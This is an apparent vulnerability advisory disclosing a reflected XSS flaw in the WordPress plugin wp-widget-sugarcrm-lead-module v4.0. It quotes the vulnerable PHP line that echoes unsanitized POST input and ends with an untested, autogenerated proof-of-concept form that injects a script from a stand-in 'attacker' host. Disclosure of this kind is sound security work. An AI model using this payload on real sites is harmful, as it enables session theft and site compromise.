Advisory #: 1036
Title: Reflected XSS in wordpress plugin wp-widget-sugarcrm-lead-module v4.0
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/wp-widget-sugarcrm-lead-module
Downloads: 2287
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: wp-widget-sugarcrm-lead-module
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./wp-widget-sugarcrm-lead-module/Fields_map_table.php: 182: <input type="search" id="<?php echo $input_id ?>" name="LeadSearch" value="<?php echo $_POST['LeadSearch']; ?>" /> The variable LeadSearch appears to send unsanitized data back to the users browser via POST request.
CVE-ID: Not Released
File:./wp-widget-sugarcrm-lead-module/Fields_map_table.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. XSS POST exploit modified from http://blog.portswigger.net/2007/03/exploiting-xss-in-post-requests.html
  3. <form name=TheForm action=http://[target]/wp-content/plugins/wp-widget-sugarcrm-lead-module/Fields_map_table.php method=post> <input type=hidden name=LeadSearch value=&quot;&gt;&lt;script&#32;src=http://attacker/bad.js&gt;&lt;/script&gt;> </form> <script> document.TheForm.submit(); </script>